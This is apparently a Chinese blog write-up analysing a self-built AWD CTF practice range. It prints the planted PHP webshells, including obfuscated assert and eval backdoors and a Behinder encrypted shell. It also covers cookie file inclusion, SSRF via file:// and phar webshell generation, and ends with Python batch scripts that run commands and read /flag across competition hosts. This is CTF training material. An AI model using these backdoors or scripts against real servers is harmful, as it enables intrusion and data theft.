Contents
起因
起因是因为马上有一个必须参加的awd攻防比赛,要队内凑够三个队,为了选拔一下人员就临时搭建了一个awd的平台,因为是临时搭建所以可能靶场的功能不太完善,都突出在脚本利用和日志采集上了
平台
平台用的是moxiaoxi师傅开源的awd平台,靶场是基于CISCN-Final总决赛第一天AWD的web4修改的
awd平台地址:
https://github.com/mo-xiaoxi/AWD_CTF_Platform
靶机
拿到题目后看一下大体架构
[root@Pdsdt web_example1]# tree
|-- html
| |-- bak.zip
| |-- blog
| | |-- ciscn_config.php
| | |-- ciscn_include.php
| | |-- ciscn_notes.php
| | |-- ciscn_url.php
| |-- css
| | |-- bootstrap.min.css
| | |-- common.css
| | |-- style.css
| |-- index.html
| |--.config_common.php
| |-- pdd.php
| |-- robot.txt
| |-- upload.php
| |-- uploads
| |-- 4eff2c041976ea22afb7092a53188c70.php
| |-- check.png
| |-- ec2.jpg
存在uploads目录和blog目录,看着目录是满满的shell,先用D盾扫一波
果真都是shell,如果是比赛期间的话,直接读取内容,利用shell拿flag就行了,因为这篇是分析文章,就慢慢的分析一下这几个文件,先看根目录下的文件
.config_common.php
<?php error_reporting(0);set_time_limit(0);$a=base64_decode("Y"."X"."N"."z"."Z"."X"."J"."0");$a(@${"_P"."O"."S"."T"}[520]); ?>
D盾报是已知后门,这个是我在论坛里看一个老哥发的,突发奇想就加在靶场里了,原理也比较简单,稍微的格式化一下
<?php error_reporting(0);
set_time_limit(0);
$a=base64_decode("Y"."X"."N"."z"."Z"."X"."J"."0");
$a(@${"_P"."O"."S"."T"}[520]); ?>
关键代码在最后两行,最后一行比较好理解,拼接$_POST[520],第三行的话主要在于,先去拼接一段加密的字符串,之后再进行base64的解密,取一下字符串
YXNzZXJ0 #base64
assert #base64解密后
简单来说就是通过拼接加密的方式实现
<?php assert($_POST[520]);?>
利用方式也很简单,直接POST传参执行代码即可
写个批量
def getshell(ip):
shell={"520":"system(\"cat /flag\");"}
shell_url='.config_common.php'
re_shell=requests.get(url=ip+shell_url)
if re_shell.status_code == 200:
print ("[+]Web_Status_Succ:"+ip)
#print re_shell.text
flag=re_shell.text
print(str(flag))
sss=submitflag(flag)
else:
#continue
print ("[-]Web_Status_Wrong: "+ip)
for i in range(1,20):
port = "xx.xxx.xx.xx:880%s" % i
if i == 10: #跳过自己的ip
continue
else:
getshell(ip)
后面的其他文件的批量方式也是一样的就不一一再放出了,转手分析一波upload.php
<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
class hint{
public function __destruct() {
echo '<!-- hint:./blog/ciscn_notes.php -->';
}
}
if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = "uploads/";
$target_path .= basename( $_FILES[ 'upload_file' ][ 'name' ] );
$uploaded_filename = $_FILES[ 'upload_file' ][ 'name' ];
$uploaded_ext = substr( $uploaded_filename, strrpos( $uploaded_filename, '.' ) + 1);
$uploaded_file_size = $_FILES[ 'upload_file' ][ 'size' ];
$uploaded_tmp_file = $_FILES[ 'upload_file' ][ 'tmp_name' ];
@extract($_POST);
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp_file ) ) {
if(file_exists($target_path)) {
echo "<pre>图片已经存在!<pre>";
}
else{
if( !move_uploaded_file( $uploaded_tmp_file, $target_path ) ) {
echo "<pre>无法保存图片!</pre>";
}
else {
echo "<pre>图片上传成功!</pre>";
}
}
}
else {
echo "<pre>只能上传格式为jpg,jpeg和png的图片.</pre>";
}
}
?>
可以看到过滤的还是比较严格的,根据提示看一波blog目录下文件
/blog/ciscn_notes.php
<?php
error_reporting(0);
session_start();
include('ciscn_config.php');
if(isset($_GET['id'])){
$id = mysql_real_escape_string($_GET['id']);
if(isset($_GET['topic'])){
$topic = mysql_real_escape_string($_GET['topic']);
$topic = sprintf("AND topic='%s'", $topic);
}else{
$topic = '';
}
$sql = sprintf("SELECT * FROM notes WHERE id='%s' $topic", $id);
$result = mysql_query($sql,$con);
$row = mysql_fetch_array($result);
if(isset($row['topic'])&&isset($row['substance'])){
echo "<h1>".$row['topic']."</h1><br>".$row['substance'];
die();
}else{
die("You're wrong!");
}
}
class ciscn_nt {
var $a;
var $b;
function __construct($a,$b) {
$this->a=$a;
$this->b=$b;
}
function test() {
array_map($this->a,$this->b);
}
}
$p1=new ciscn_nt(assert,array($_POST['x']));
$p1->test();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>myblog</title>
<link href="../css/bootstrap.min.css" rel="stylesheet">
<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="navbar-header">
<a class="navbar-brand" href="#">Blog</a>
</div>
<div>
<ul class="nav navbar-nav">
<li class="active"><a href="#">笔记</a></li>
<li><a href="#">关于</a></li>
</ul>
</div></nav>
<div class="panel panel-success">
<div class="panel-heading">
<h1 class="panel-title">php是世界上最好的语言</h1>
</div>
<div class="panel-body">
<li><a href='ciscn_notes.php?id=1&topic=Welcome to PHP world'>Welcome to PHP world</a><br></li>
<li><a href='ciscn_notes.php?id=2&topic=Do the best you can'>Do the best you can</a><br></li>
<li><a href='ciscn_notes.php?id=3&topic=Attention, please.'>格式化,全都格式化。。。</a><br></li>
</div>
</div>
</body>
<!--mysql_real_escape_string()-->
<!--$topic = sprintf("AND topic='%s'", $topic);-->
<!--$sql = sprintf("SELECT * FROM notes WHERE id='%s' $topic", $id)-->
</html>
功能的话大概就是取出数据库数据显示出来了,这里具体看一下ciscn_nt这个class
class ciscn_nt {
var $a;
var $b;
function __construct($a,$b) {
$this->a=$a;
$this->b=$b;
}
function test() {
array_map($this->a,$this->b);
}
}
$p1=new ciscn_nt(assert,array($_POST['x']));
$p1->test();
用了array_map()这一个回调函数在\$p1处定义了\$a和\$b的值分别为assert和$_POST[‘x’]
最后再调用test()函数触发array_map(),从而达到执行我们POST传输的代码的目的,简单来说就是是实现:
<?php assert($_POST['x']);?>
利用:
批量化的话和上面的一样,修改一下利用的文件名称和POST的数据变量名即可
def getshell(ip):
shell={"x":"system(\"cat /flag\");"}
shell_url='/blog/ciscn_notes.php'
再看一下包含的config文件
/blog/ciscn_config.php
<?php
echo "Mysql链接配置";
error_reporting(0);
$con = mysql_connect ("127.0.0.1", "root", "c933ccc3b6b2fe8cb830a5e76f5f98a5");
if (!$con){
print('Could not connect: ' . mysqli_error());
}
mysql_select_db("ciscn_web", $con);
forward_static_call_array(assert,array($_POST["x"]));
class c
{
public $code = null;
public $decode = null;
function __construct()
{ $this->code='ZXZhbCgkX1BPU1RbcGFzc10pOw==';
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
}
new c();
?>
这个功能也比较简单,主要是实现mysql的链接,看一下第十行以及之后的数据
forward_static_call_array(assert,array($_POST["x"]));
看一下这行代码,,forward_static_call_array,这是和call_user_func_array类似的函数,是一个不太常见的回调函数,使用assert来调用我们POST过去的数据达到getshell的目的,本地测试一下回调函数
php > forward_static_call_array(system,array("pwd"));
PHP Warning: Use of undefined constant system - assumed 'system' (this will throw an Error in a future version of PHP) in php shell code on line 1
/var/www/html
php > forward_static_call_array(system,array("whoami"));
PHP Warning: Use of undefined constant system - assumed 'system' (this will throw an Error in a future version of PHP) in php shell code on line 1
root
测试一下
利用成功
再看一手后面的代码
class c
{
public $code = null;
public $decode = null;
function __construct()
{ $this->code='ZXZhbCgkX1BPU1RbcGFzc10pOw==';
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
}
new c();
也是比较简单的利用函数构造shell,在__construct定义好加密的字符串和base64_decode()函数,使用eval进行解密执行,获取一下明文
ZXZhbCgkX1BPU1RbcGFzc10pOw==
eval($_POST[pass]);
利用:
再看一手其他的文件
/blog/ciscn_include.php
<?php
$cookie=$_COOKIE["cookie"];
@error_reporting(0);
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
}
include($cookie);
?>
简单审一下代码,第一行和最后一行存在问题
$cookie=$_COOKIE["cookie"];
include($cookie);
思路很清晰,包含了cookie中的一个名为cookie的变量,可以直接去读文件
利用方式:
批量化一下:
def getshell(ip):
headers = {
"Cookie":"cookie=/etc/passwd"
}
url="/blog/ciscn_include.php"
re_shell=requests.get(url=ip+url,headers=headers)
继续审代码
if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
}
有一说一,看着就像shell,是冰蝎3.0的加密shell,用冰蝎链接的话直接使用默认密码:rebeyond链接即可,\$key为密码md5加密后的前16位,修改密码的话直接修改$key的值为密码的前十六位即可,这里主要说一下不用工具链接的利用方式,毕竟是在awd比赛,我们更多需要的还是批量化和获取分数
分析一下代码,如果我们访问方式为POST时,post变量的值为我们的POST的数据,之后再次进行判断,如果存在openssl拓展组件,执行else之后的内容即
$post=openssl_decrypt($post, "AES128", $key);
这是属于一个解密的函数,我们可以使用代码中获取的key对我们的POST的变量进行加密,之后在传输到此处后进行解密,下一步看一下我们需要传输的数据,\$arr处利用“|”进行了数组拆分,并在之后利用call_user_function调用执行shell,所以我们需要传输的数据为,“|”+代码,构造一下
$post="|phpinfo();";
$key="e45e329feb5d925b";
$post=openssl_encrypt($post, "AES128", $key);
print_r($post);
//vACvqxX9t64+Nc3M2S4VuQ==
看一下效果
成功利用,批量也很简单,直接拿flag
先加密cat flag的字符,在进行传输拿flag即可
//system("cat /flag");
//jGOOCXJb2O34dmCMawHOxk6oYN2YhuVdlJn050821ok=
def getshell(ip):
url="/blog/ciscn_include.php"
data={"jGOOCXJb2O34dmCMawHOxk6oYN2YhuVdlJn050821ok":""}
re_shell=requests.post(url=ip+url,data=data)
最后看一下ciscn_url.php
/blog/ciscn_url.php
<?php
$url = $_GET['url'];
$parts = parse_url($url);
if(empty($parts['host']) || $parts['host'] != 'localhost') {
exit('error');
}
readfile($url);
?>
相较于其他几个文件,这个利用点就比较简单,是一个比较简单的SSRF,存在readfile函数,我们可以使用file协议读取flag
?url=file://localhost/flag
利用一下:
到此blog目录下的文件都分析完毕,看一下css目录下文件
/css/common.css
<?php
highlight_file("/flag");
?>
代码很直接,高亮显示根目录下的flag文件,不过不能直接利用,需要借助blog目录下的ciscn_include.php进行执行
成功执行
再看一手.111.php的文件
/uploads/.111.php
<?php
$pass=$_POST["password"];
if($pass == "4eff2c041976ea22afb7092a53188c70")
{
system($_GET["getshell"]);
readfile("/flag");
}
else
{
echo "be1c5ff7101b7791469b5df2315cf75a";
}
?>
这个文件的思路也是比较简单的,有一个基础的if判断,如果我们POST过来的password与比较的字符串相等的话,将直接执行读取flag的操作同时可以利用GET传输的getshell变量执行系统命令
利用一下
uploads/4eff2c041976ea22afb7092a53188c70.php
最基础的一句话木马
<?php
eval($_POST["cmd"]);
?>
直接利用即可
最后看一下被D盾扫描出来的check.png,用十六进制查看器进行查看
uploads/check.png
比较典型的phar生成的图片,我们可以利用blog目录下的ciscn_url.php进行利用
使用phar协议进行包含
没有回显数据,读取代码发现内容为test,不过我们可以在本地自己生成一个带有webshell的phar包,并进行上传包含利用
执行下面代码,会在当前目录下生成一个名为phar.phar的文件,修改为图片马上传,使用phar协议包含,即可利用写入的webshell
<?php
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub;
//$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.php", "<?php eval(\$_POST[123]); ?>"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
在本地生成之前需要修改php.ini将phar.readonly参数改为Off
生成图片 phar.png
尝试文件包含
成功执行命令
整合一下批量的利用脚本,利用的时候直接调用函数即可
#encoding: utf-8
import requests
url="http://xxx.xx.xxx.xxx"
def getshell_config_common(ip):
url="/.config_common.php"
shell={"520":"system(\"cat /flag\");"}
re_shell=requests.post(url=ip+url,data=shell)
print(re_shell.text)
if re_shell.status_code == 200:
print ("[+]Web_Status_Succ:"+ip)
#print re_shell.text
flag=re_shell.text
print(str(flag))
else:
#continue
print ("[-]Web_Status_Wrong: "+ip)
def getshell_ciscn_note_1(ip):
shell={"x":"system(\"cat /flag\");"}
url="/blog/ciscn_notes.php"
re_shell=requests.post(url=ip+url,data=shell)
#print(re_shell.text)
if re_shell.status_code == 200:
print ("[+]Web_Status_Succ:"+ip)
flag=re_shell.text[36:68]
print(str(flag))
else:
#continue
print ("[-]Web_Status_Wrong: "+ip)
def getshell_ciscn_config_1(ip):
shell={"x":"system(\"cat /flag\");"}
url="/blog/ciscn_config.php"
re_shell=requests.post(url=ip+url,data=shell)
#print(re_shell.text)
if re_shell.status_code == 200:
print ("[+]Web_Status_Succ:"+ip)
flag=re_shell.text[36:68]
print(str(flag))
else:
#continue
print ("[-]Web_Status_Wrong: "+ip)
def getshell_ciscn_config_2(ip):
shell={"pass":"system(\"cat /flag\");"}
url="/blog/ciscn_config.php"
re_shell=requests.post(url=ip+url,data=shell)
#print(re_shell.text)
if re_shell.status_code == 200:
print ("[+]Web_Status_Succ:"+ip)
flag=re_shell.text[36:68]
print(str(flag))
else:
#continue
print ("[-]Web_Status_Wrong: "+ip)
def getshell_ciscn_include_1(ip):
headers = {"Cookie":"cookie=/flag"}
url="/blog/ciscn_include.php"
re_shell=requests.post(url=ip+url,headers=headers)
#print(re_shell.text)
if re_shell.status_code == 200:
print ("[+]Web_Status_Succ:"+ip)
flag=re_shell.text
print(str(flag))
else:
#continue
print ("[-]Web_Status_Wrong: "+ip)
def getshell_ciscn_include_2(ip):
data={"jGOOCXJb2O34dmCMawHOxk6oYN2YhuVdlJn050821ok":""}
url="/blog/ciscn_include.php"
re_shell=requests.post(url=ip+url,data=data)
if re_shell.status_code == 200:
print ("[+]Web_Status_Succ:"+ip)
flag=re_shell.text
print(str(flag))
else:
#continue
print ("[-]Web_Status_Wrong: "+ip)
def getshell_ciscn_url_1(ip):
shell={"url":"file://localhost/flag"}
url="/blog/ciscn_url.php"
re_shell=requests.get(url=ip+url,params=shell)
#print(re_shell.text)
if re_shell.status_code == 200:
print ("[+]Web_Status_Succ:"+ip)
flag=re_shell.text
print(str(flag))
else:
#continue
print ("[-]Web_Status_Wrong: "+ip)
def getshell_common_include_1(ip):
headers = {"Cookie":"cookie=../css/common.css"}
url="/blog/ciscn_include.php"
re_shell=requests.get(url=ip+url,headers=headers)
#print(re_shell.text)
if re_shell.status_code == 200:
print ("[+]Web_Status_Succ:"+ip)
flag=re_shell.text[35:67]
print(str(flag))
else:
#continue
print ("[-]Web_Status_Wrong: "+ip)
def getshell_upload_111_1(ip):
shell={"password":"4eff2c041976ea22afb7092a53188c70"}
url="/uploads/.111.php"
re_shell=requests.post(url=ip+url,data=shell)
#print(re_shell.text)
if re_shell.status_code == 200:
print ("[+]Web_Status_Succ:"+ip)
flag=re_shell.text
print(str(flag))
else:
#continue
print ("[-]Web_Status_Wrong: "+ip)
def getshell_upload_4eff2c041976ea22afb7092a53188c70_2(ip):
shell={"cmd":"system(\"cat /flag\");"}
url="/uploads/4eff2c041976ea22afb7092a53188c70.php"
re_shell=requests.post(url=ip+url,data=shell)
#print(re_shell.text)
if re_shell.status_code == 200:
print ("[+]Web_Status_Succ:"+ip)
flag=re_shell.text
print(str(flag))
else:
#continue
print ("[-]Web_Status_Wrong: "+ip)
def getshell_notes_phar_3(ip):
shell={"x":"include(\"phar://../uploads/phar.png/test.php\");","123":"system(\"cat /flag\");"}
url="/blog/ciscn_notes.php"
re_shell=requests.post(url=ip+url,data=shell)
#print(re_shell.text)
if re_shell.status_code == 200:
print ("[+]Web_Status_Succ:"+ip)
flag=re_shell.text[36:68]
print(str(flag))
else:
#continue
print ("[-]Web_Status_Wrong: "+ip)
for i in range(1,9):
ip= url+":880%s" % i
if i == 4:
continue
else:
#getshell_notes_phar_3(ip)
#getshell_config_common(ip)
#getshell_ciscn_note_1(ip)
之后
awd的话和实战内容还是比较大的,这个靶场,因为时间紧,就没在意太多功能上的实现,主要是把各种比赛中会出现的shell放了上去,主要是想测试一下选拔人员的利用方式和快速的编写脚本能力
🏀🤴✌😀👊 says:
看完您的博客后,我的心久久不能平静!这条说说构思新颖,题材独具匠心,段落清晰,情节诡异,跌宕起伏,主线分明,引人入胜,平淡中显示出不凡的文学功底,可谓是字字珠玑,句句经典,是我辈应学习之典范。就小说艺术的角度而言,可能不算太成功,但它的实验意义却远大于成功本身。一马奔腾,射雕引弓,天地在我心中!您不愧为无厘头界新一代开山怪!是你让我的心里重燃起希望之火,这是难得一见的好说! 苍天有眼,让我在有生之年能观得如此精彩说说!真如”大音希声扫阴翳”,犹如”拨开云雾见青天”,使我等之辈看到希望,晴天霹雳,醍醐灌顶,不足以形容大师文章的构思;巫山行云,长江流水更难比拟大师的文才!你烛照天下,明见万里;雨露苍生,泽被万方!透过你深邃的文字,我仿佛看到了你鹰视狼顾,龙行虎步的伟岸英姿;仿佛看到了你手执如椽大笔,写天下文章的智慧神态;仿佛看见了你按剑四顾,江山无数的英武气概!你说的多好啊! 我在网上打滚这么多年,所谓阅人无数,见怪不怪了,但一看您的气势,我就觉得您与在网上灌水的那帮小混蛋有着本质的差别,那忧郁的语调,那熟悉的签名,那高屋建瓴的辞藻,就足以证明您的伟大。是您让中华民族精神得以弘扬。佩服佩服。